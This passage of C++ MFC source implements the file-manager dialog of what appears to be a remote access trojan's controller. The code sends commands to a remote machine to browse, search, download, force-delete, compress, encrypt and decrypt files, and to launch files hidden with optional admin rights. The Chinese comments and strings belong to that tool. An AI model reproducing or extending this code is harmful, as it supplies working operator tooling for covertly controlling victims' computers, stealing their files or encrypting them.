m_list_remote.EditLabel(m_list_remote.GetSelectionMark()); } void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult) { LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR; // TODO: Add your control notification handler code here CString str, strExistingFileName, strNewFileName; m_list_remote.GetEditControl()->GetWindowText(str); strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0); strNewFileName = m_Remote_Path + str; if (strExistingFileName != strNewFileName) { UINT nPacketSize = (strExistingFileName.GetLength() + 1) * sizeof(TCHAR) + (strNewFileName.GetLength() + 1) * sizeof(TCHAR) + 1; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize); lpBuffer[0] = COMMAND_RENAME_FILE; memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR)); memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR), strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR)); m_ContextObject->Send2Client(lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; } void CFileManagerDlg::OnDelete() { BYTE bBuff; bBuff = COMMAND_FILE_NO_ENFORCE; m_ContextObject->Send2Client(&bBuff, sizeof(bBuff)); OnRemoteDelete(); } void CFileManagerDlg::OnDeleteEnforce() { BYTE bBuff; bBuff = COMMAND_FILE_ENFOCE; m_ContextObject->Send2Client(&bBuff, sizeof(bBuff)); OnRemoteDelete(); } void CFileManagerDlg::OnNewFolder() { OnRemoteNewFolder(); } void CFileManagerDlg::OnRefresh() { GetRemoteFileList(_T(".")); } void CFileManagerDlg::OnUseAdmin() { if (!m_bUseAdmin) m_bUseAdmin = true; else m_bUseAdmin = false; } void CFileManagerDlg::OnRemoteOpenShow() { // TODO: Add your command handler code here CString str; int nItem = m_list_remote.GetSelectionMark(); str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); if (m_list_remote.GetItemData(nItem) == 1) str += "\\"; int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_SHOW; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemoteOpenHide() { // TODO: Add your command handler code here CString str; int nItem = m_list_remote.GetSelectionMark(); str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); if (m_list_remote.GetItemData(nItem) == 1) str += _T("\\"); int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_HIDE; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemoteInfo() { // TODO: Add your command handler code here CString str; int nItem = m_list_remote.GetSelectionMark(); str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); if (m_list_remote.GetItemData(nItem) == 1) str += _T("\\"); int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_INFO; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemoteEncryption() { // TODO: Add your command handler code here CString str; CStringA strA; int nItem = m_list_remote.GetSelectionMark(); str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); if (m_list_remote.GetItemData(nItem) == 1) str += _T("\\"); strA = str; int nPacketLength = strA.GetLength() + 1 + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_Encryption; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemoteDecrypt() { // TODO: Add your command handler code here CString str; CStringA strA; int nItem = m_list_remote.GetSelectionMark(); str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); if (m_list_remote.GetItemData(nItem) == 1) str += _T("\\"); strA = str; int nPacketLength = strA.GetLength() + 1 + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_Decrypt; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemoteCopyFile() { CString file; // TODO: Add your command handler code here POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); file += (m_Remote_Path + m_list_remote.GetItemText(nItem, 0)); file += "|"; } int nPacketLength = file.GetLength() * 2 + 2 + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_CopyFile; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("准备粘贴")); } void CFileManagerDlg::OnRemotePasteFile() { int nPacketLength = m_Remote_Path.GetLength() * 2 + 2 + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_PasteFile; memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnRemotezip() { CString file; file = m_Remote_Path; file += "|"; // TODO: Add your command handler code here POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); file += (m_Remote_Path + m_list_remote.GetItemText(nItem, 0)); // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += _T('\\'); file += "|"; } int nPacketLength = file.GetLength() * 2 + 2 + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_zip; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); } void CFileManagerDlg::OnRemotezipstop() { BYTE lpPacket = COMMAND_FILE_zip_stop; m_ContextObject->Send2Client(&lpPacket, 1); } void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) { CMenu mListmeau; mListmeau.CreatePopupMenu(); mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("分区高级搜索")); POINT mousepos; GetCursorPos(&mousepos); int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); mListmeau.DestroyMenu(); if (!nMenuResult) return; switch (nMenuResult) { case 100: { UpdateData(); //获取文件详细信息 POSITION pos = m_list_remote_driver.GetFirstSelectedItemPosition(); CString str_disk; if (pos != NULL) { int nItem = m_list_remote_driver.GetNextSelectedItem(pos); str_disk = m_list_remote_driver.GetItemText(nItem, 0); if (str_disk.Find(_T(":")) == -1) return;; } CInputDialog dlg(this); dlg.Init(_T("确认后 必须等待出现结果"), _T("请输入要搜索的关键词")); if (dlg.DoModal() != IDOK)return; // 得到返回数据前禁窗口 m_list_remote_search.DeleteAllItems(); m_ProgressCtrl->SetPos(0); struct SEARCH { TCHAR TC_disk[8]; TCHAR TC_search[MAX_PATH]; }; SEARCH S_search; memset(&S_search, 0, sizeof(SEARCH)); memcpy(S_search.TC_disk, str_disk.GetBuffer(), str_disk.GetLength() * sizeof(TCHAR)); if (dlg.m_str.GetLength() > (MAX_PATH - 5)) { MessageBox(_T("搜索关键词太长"), _T("注意")); return ; } memcpy(S_search.TC_search, dlg.m_str.GetBuffer(), dlg.m_str.GetLength() * sizeof(TCHAR)); BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1]; lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST; memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH)); m_ContextObject->Send2Client((LPBYTE)lpbuffer, sizeof(SEARCH) + 1); SAFE_DELETE_AR(lpbuffer); SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } break; default: break; } *pResult = 0; } void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) { // TODO: Add your control notification handler code here int nRemoteOpenMenuIndex = 5; CListCtrl* pListCtrl = &m_list_remote; CMenu popup; popup.LoadMenu(IDR_FILEMANAGER); CMenu* pM = popup.GetSubMenu(0); CPoint p; GetCursorPos(&p); // pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND); if (pListCtrl->GetSelectedCount() == 0 || !m_Remote_Path.GetLength()) { int count = pM->GetMenuItemCount(); for (int i = 0; i < count; i++) { pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); } if (m_Remote_Path.GetLength()) { pM->EnableMenuItem(IDM_TRANSFER_S, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); } pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_DELETE_ENFORCE, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(ID_FILEMANGER_Encryption, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(ID_FILEMANGER_Encryption, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_RENAME, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); } if (pListCtrl->GetSelectedCount() == 1) { // 单选如果是目录, 不能隐藏运行 if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) { pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_REMOTE_OPEN_SHOW, MF_BYCOMMAND | MF_GRAYED); } pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); } if (pListCtrl->GetSelectedCount() > 1) { pM->EnableMenuItem(IDM_REMOTE_OPEN_SHOW, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_RENAME, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); } if (m_bCanAdmin) pM->EnableMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_ENABLED); else pM->EnableMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_GRAYED); if (m_bUseAdmin) pM->CheckMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_CHECKED); else pM->CheckMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_UNCHECKED); pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(ID_FILEMANGER_ZIP_STOP, MF_BYCOMMAND | MF_ENABLED); ::TrackPopupMenu(pM->GetSafeHmenu(), TPM_RIGHTBUTTON, p.x, p.y, 0, GetSafeHwnd(), NULL); pM->DestroyMenu(); *pResult = 0; } void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) { CMenu mListmeau; mListmeau.CreatePopupMenu(); mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("下载(附带目录结构)")); mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("删除")); mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("打开文件位置")); POINT mousepos; GetCursorPos(&mousepos); int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); mListmeau.DestroyMenu(); if (!nMenuResult) return; switch (nMenuResult) { case 100: { m_bIsUpload = false; EnableControl(FALSE); CString file; m_Remote_Download_Job.RemoveAll(); POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); CString m_Search_Path; while (pos) { int nItem = m_list_remote_search.GetNextSelectedItem(pos); m_Search_Path = m_list_remote_search.GetItemText(nItem, 3); m_Search_Path += '\\'; file = m_Search_Path + m_list_remote_search.GetItemText(nItem, 0); if (m_list_remote_search.GetItemData(nItem)) file += '\\'; m_Remote_Download_Job.AddTail(file); } if (file.IsEmpty()) { EnableControl(TRUE); ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } strLpath = GetDirectoryPath(FALSE); if (strLpath == _T("")) { EnableControl(TRUE); return; } if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) strLpath += _T("\\"); m_nTransferMode = TRANSFER_MODE_NORMAL; SendDownloadJob(); } break; case 200: { m_bIsUpload = false; // TODO: Add your command handler code here CString str; if (m_list_remote_search.GetSelectedCount() > 1) str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote_search.GetSelectedCount()); else { CString file = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0); if (m_list_remote_search.GetItemData(m_list_remote_search.GetSelectionMark()) == 1) str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); else str.Format(_T("确实要把“%s”删除吗?"), file); } if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) return; m_Remote_Delete_Job.RemoveAll(); POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); //iterator for the CListCtrl CString m_Search_Path; while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote_search.GetNextSelectedItem(pos); m_Search_Path = m_list_remote_search.GetItemText(nItem, 3); m_Search_Path += '\\'; CString file = m_Search_Path + m_list_remote_search.GetItemText(nItem, 0); // 如果是目录 if (m_list_remote_search.GetItemData(nItem)) file += _T('\\'); m_Remote_Delete_Job.AddTail(file); } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory EnableControl(FALSE); // 发送第一个下载任务 SendDeleteJob(); } break; case 300: { int Index = 0; Index = m_list_remote_search.GetSelectionMark(); if (Index == -1) return; CString str = m_list_remote_search.GetItemText(Index, 3); if (Index == -1) return; m_Remote_Path = _T(""); GetRemoteFileList(str); } break; default: break; } *pResult = 0; } bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) { LPTSTR p, pszDirCopy; DWORD dwAttributes; __try { pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); if (pszDirCopy == NULL) return FALSE; lstrcpy(pszDirCopy, pszDirPath); p = pszDirCopy; if ((*p == TEXT('\\')) && (*(p + 1) == TEXT('\\'))) { p++; // Skip over the first \ in the name. p++; // Skip over the second \ in the name. while (*p && *p != TEXT('\\')) { p = CharNext(p); } if (*p) { p++; } while (*p && *p != TEXT('\\')) { p = CharNext(p); } if (*p) { p++; } } else if (*(p + 1) == TEXT(':')) { // Not a UNC. See if it's : p++; p++; if (*p && (*p == TEXT('\\'))) { p++; } } while (*p) { if (*p == TEXT('\\')) { *p = TEXT('\0'); dwAttributes = GetFileAttributes(pszDirCopy); // Nothing exists with this name. Try to make the directory name and error if unable to. if (dwAttributes == 0xffffffff) { if (!CreateDirectory(pszDirCopy, NULL)) { if (GetLastError() != ERROR_ALREADY_EXISTS) { free(pszDirCopy); return FALSE; } } } else { if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { // Something exists with this name, but it's not a directory... Error free(pszDirCopy); return FALSE; } } *p = TEXT('\\'); } p = CharNext(p); } } __except (EXCEPTION_EXECUTE_HANDLER) { free(pszDirCopy); return FALSE; } free(pszDirCopy); return TRUE; } //压缩处理 void CFileManagerDlg::OnCompress() { // TODO: 在此添加命令处理程序代码 //winrar a -r D:\123.she.rar d:\123.she //加压 UpdateData(TRUE); int i = m_list_remote.GetSelectionMark(); if (i < 0) { return; } CString strMsg = _T("a -ep1 -ibck "); CString strFullFileName = m_list_remote.GetItemText(i, 0); if (m_list_remote.GetItemData(i)) { //文件夹 strMsg += _T("-r "); strMsg += (m_Remote_Path + strFullFileName); } else { strMsg += (m_Remote_Path + strFullFileName); } strMsg += _T(".rar"); strMsg += _T(" "); strMsg += (m_Remote_Path + strFullFileName); int nPacketLength = (strMsg.GetLength() + 1) * sizeof(TCHAR) + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnUncompress() { // TODO: 在此添加命令处理程序代码 // winrar x D:\11.she.rar D:\11.she\ UpdateData(TRUE); int i = m_list_remote.GetSelectionMark(); if (i < 0) { return; } CString strMsg = _T("x -ibck "); CString strFullFileName = m_list_remote.GetItemText(i, 0); CString strFullName = (m_Remote_Path + strFullFileName); strMsg += strFullName; //LFileName lFile(strFullName.GetBuffer(0)); strMsg += _T(" "); strMsg += (m_Remote_Path/*+lFile.getNameA()*/); //strMsg += "\\"; //COMMAND_UNCOMPRESS_FILE_PARAM int nPacketLength = (strMsg.GetLength() + 1) * sizeof(TCHAR) + 1; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } void CFileManagerDlg::OnSetfocusRemotePath() { // TODO: Add your control notification handler code here m_list_remote.SetSelectionMark(-1); } void CFileManagerDlg::OnBtnSearch() { UpdateData(); // // 得到返回数据前禁窗口 m_list_remote_search.DeleteAllItems(); m_ProgressCtrl->SetPos(0); if (m_Remote_Path.IsEmpty()) return; // 构建数据包 FILESEARCH mFileSearchPacket; lstrcpy(mFileSearchPacket.SearchPath, m_Remote_Path.GetBuffer(0)); lstrcpy(mFileSearchPacket.SearchFileName, m_SearchStr.GetBuffer(0)); if (m_bSubFordle) mFileSearchPacket.bEnabledSubfolder = true; else mFileSearchPacket.bEnabledSubfolder = false; int nPacketSize = sizeof(mFileSearchPacket) + 2; LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_SEARCH_FILE; memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); m_ContextObject->Send2Client(lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); // 设置按钮状态 m_BtnSearch.SetWindowText(_T("正在搜索...")); m_list_remote_search.ShowWindow(SW_SHOW); GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(FALSE); GetDlgItem(ID_SEARCH_STOP)->EnableWindow(TRUE); SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } void CFileManagerDlg::SearchEnd() { int len = m_list_remote_search.GetItemCount(); m_BtnSearch.SetWindowText(_T("重新搜索")); ShowMessage(_T("搜索完毕 共:%d 个文件"), len); m_list_remote_search.EnableWindow(TRUE); GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(TRUE); GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); } void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen) { byte* pList = pbBuffer + 1; int nItemIndex = 0; for (byte* pBase = pList; (int)(pList - pBase) < (int)(dwBufferLen - 1);) { TCHAR* pszFileName = NULL; DWORD dwFileSizeHigh = 0; DWORD dwFileSizeLow = 0; FILETIME ftm_strReceiveLocalFileTime; int nItem = 0; bool bIsInsert = false; int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; pszFileName = (TCHAR*) ++pList; CString csFilePath, csFileFullName; csFilePath.Format(_T("%s"), pszFileName); int nPos = csFilePath.ReverseFind(_T('\\')); csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// 获取文件全名,包括文件名和扩展名 nItem = m_list_remote_search.InsertItem(nItemIndex++, csFileFullName, GetIconIndex(pszFileName, nType)); m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR); memcpy(&dwFileSizeHigh, pList, 4); memcpy(&dwFileSizeLow, pList + 4, 4); CString strSize; strSize.Format(_T("%10d KB"), (dwFileSizeHigh * (MAXDWORD)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); m_list_remote_search.SetItemText(nItem, 1, strSize); memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); CTime time(ftm_strReceiveLocalFileTime); m_list_remote_search.SetItemText(nItem, 2, time.Format(_T("%Y-%m-%d %H:%M"))); PathRemoveFileSpec(pszFileName); //去除文件名获取文件路径 m_list_remote_search.SetItemText(nItem, 3, pszFileName); pList += 16; } m_ProgressCtrl->StepIt(); } //文件搜索停止 void CFileManagerDlg::OnBnClickedSearchStop() { GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); // TODO: Add your command handler code here BYTE bToken = COMMAND_FILES_SEARCH_STOP; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } //显示搜索结果 void CFileManagerDlg::OnBnClickedSearchResult() { m_list_remote_search.ShowWindow(m_list_remote_search.IsWindowVisible() ? SW_HIDE : SW_SHOW); if (m_list_remote_search.IsWindowVisible()) { SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } else { SetWindowPos(NULL, 0, 0, 830, 500, SWP_NOMOVE); } } void CFileManagerDlg::ShowSearchPlugList() { char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); char* Filename; char* Pathname; DWORD dwOffset = 0; m_list_remote_search.DeleteAllItems(); int i = 0; for (i = 0; dwOffset < (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); i++) { Filename = lpBuffer + dwOffset; Pathname = Filename + strlen(Filename) + 1; CString CS_tem; CS_tem = Filename; m_list_remote_search.InsertItem(i, CS_tem, 0); CS_tem = Pathname; int index = CS_tem.ReverseFind('\\'); if (index >= 0) CS_tem = CS_tem.Left(index); m_list_remote_search.SetItemText(i,3, CS_tem); dwOffset += strlen(Filename) + strlen(Pathname) + 2; } m_list_remote_search.EnableWindow(TRUE); CString strMsgShow; strMsgShow.Format(_T("共搜索到 %d 个"), i); DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, & dwResult); m_list_remote_search.ShowWindow( SW_SHOW); }